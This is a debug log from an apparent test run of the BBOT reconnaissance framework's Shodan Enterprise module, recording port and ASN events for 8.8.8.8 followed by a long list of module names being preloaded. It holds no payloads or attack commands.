[DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,584 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:08:24,585 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,585 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,585 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,586 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:08:24,586 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:08:24,586 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,587 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,587 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,588 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,588 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:08:24,589 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,589 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,589 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:08:24,590 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,590 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:08:24,591 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:08:24,591 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,591 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:08:24,592 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,592 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,593 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,593 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:08:24,594 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:08:24,594 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:08:24,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:08:24,595 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 17:08:24,679 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:08:24,680 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,681 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:08:24,681 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,682 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:08:24,682 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,683 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 17:08:24,683 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:08:24,683 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 17:08:24,684 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 17:08:24,684 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 17:08:24,685 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 17:08:24,686 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 17:08:24,686 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 17:08:24,686 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 17:08:24,686 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 17:08:24,787 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 17:08:24,788 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 17:08:24,807 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 17:08:24,808 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 17:08:24,808 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 17:08:24,815 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 17:08:24,816 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 17:08:24,817 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 17:08:24,818 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 17:08:24,818 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 17:08:24,819 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 17:08:24,935 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_i5me1a0l48 completed in 0 seconds with status FINISHED +2026-03-01 17:08:24,935 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 17:08:24,936 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:08:24,937 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 17:08:24,938 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 17:08:24,938 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:53', '8.8.8.8:443'] +2026-03-01 17:08:24,938 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 17:08:24,938 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 17:08:24,938 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 17:08:24,939 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events +2026-03-01 17:08:24,939 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} +2026-03-01 17:08:52,915 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 17:08:52,925 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 17:08:52,926 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 17:08:52,927 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 17:08:52,928 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 17:08:52,929 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 17:08:52,930 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 17:08:52,931 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 17:08:52,934 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 17:08:52,935 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 17:08:52,936 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 17:08:52,937 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 17:08:52,938 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 17:08:52,939 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 17:08:52,940 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 17:08:52,940 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 17:08:52,941 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 17:08:52,941 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 17:08:52,942 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 17:08:52,943 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 17:08:52,943 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 17:08:52,944 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 17:08:52,945 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 17:08:52,945 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 17:08:52,946 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 17:08:52,947 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 17:08:52,948 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 17:08:52,949 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 17:08:52,949 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 17:08:52,953 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 17:08:52,954 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 17:08:52,955 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 17:08:52,955 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 17:08:52,956 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 17:08:52,957 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 17:08:52,958 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 17:08:52,958 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 17:08:52,959 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 17:08:52,960 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 17:08:52,960 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 17:08:52,961 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 17:08:52,961 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 17:08:52,962 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 17:08:52,963 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 17:08:52,964 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 17:08:52,964 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 17:08:52,965 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 17:08:52,965 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 17:08:52,966 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 17:08:52,967 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 17:08:52,967 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 17:08:52,968 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 17:08:52,969 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 17:08:52,969 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 17:08:52,970 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 17:08:52,975 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 17:08:52,976 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 17:08:52,977 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 17:08:52,978 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 17:08:52,979 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 17:08:52,980 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 17:08:52,980 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 17:08:52,981 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 17:08:52,982 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 17:08:52,983 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 17:08:52,984 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 17:08:52,985 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 17:08:52,985 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 17:08:52,986 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 17:08:52,987 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 17:08:52,988 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 17:08:52,988 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 17:08:52,989 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 17:08:52,989 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 17:08:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 17:08:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 17:08:52,991 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 17:08:52,992 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 17:08:52,992 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 17:08:52,993 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 17:08:52,994 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 17:08:52,994 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 17:08:52,996 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 17:08:52,996 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 17:08:52,997 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 17:08:52,998 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 17:08:52,998 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 17:08:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 17:08:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 17:08:53,000 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 17:08:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 17:08:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 17:08:53,002 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 17:08:53,002 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 17:08:53,003 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 17:08:53,004 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 17:08:53,004 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 17:08:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 17:08:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 17:08:53,006 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 17:08:53,006 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 17:08:53,007 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 17:08:53,008 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 17:08:53,008 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 17:08:53,009 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 17:08:53,009 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 17:08:53,010 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 17:08:53,010 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 17:08:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 17:08:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 17:08:53,013 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 17:08:53,013 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 17:08:53,014 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 17:08:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 17:08:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 17:08:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 17:08:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 17:08:53,017 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 17:08:53,018 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 17:08:53,019 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 17:08:53,019 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 17:08:53,020 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 17:08:53,021 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 17:08:53,021 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 17:08:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 17:08:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 17:08:53,023 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 17:08:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 17:08:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 17:08:53,025 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 17:08:53,025 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 17:08:53,026 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 17:08:53,027 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 17:08:53,027 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 17:08:53,028 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 17:08:53,028 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 17:08:53,029 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 17:08:53,030 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 17:08:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 17:08:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 17:08:53,032 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 17:08:53,033 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 17:08:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 17:08:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 17:08:53,035 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 17:08:53,036 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 17:08:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 17:08:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 17:08:53,038 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 17:08:53,039 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 17:08:53,039 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 17:08:53,040 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 17:08:53,041 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 17:08:53,042 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 17:08:53,043 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 17:08:53,043 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 17:08:53,044 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 17:08:53,044 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 17:08:53,045 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 17:08:53,046 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 17:08:53,047 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 17:08:53,047 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 17:08:53,047 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 17:08:53,049 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 17:08:53,049 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 17:08:53,050 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 17:08:53,050 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 17:08:53,051 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 17:08:53,052 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 17:08:53,052 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 17:08:54,141 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:08:54,142 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:08:54,142 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 17:08:54,276 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 17:08:54,841 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module 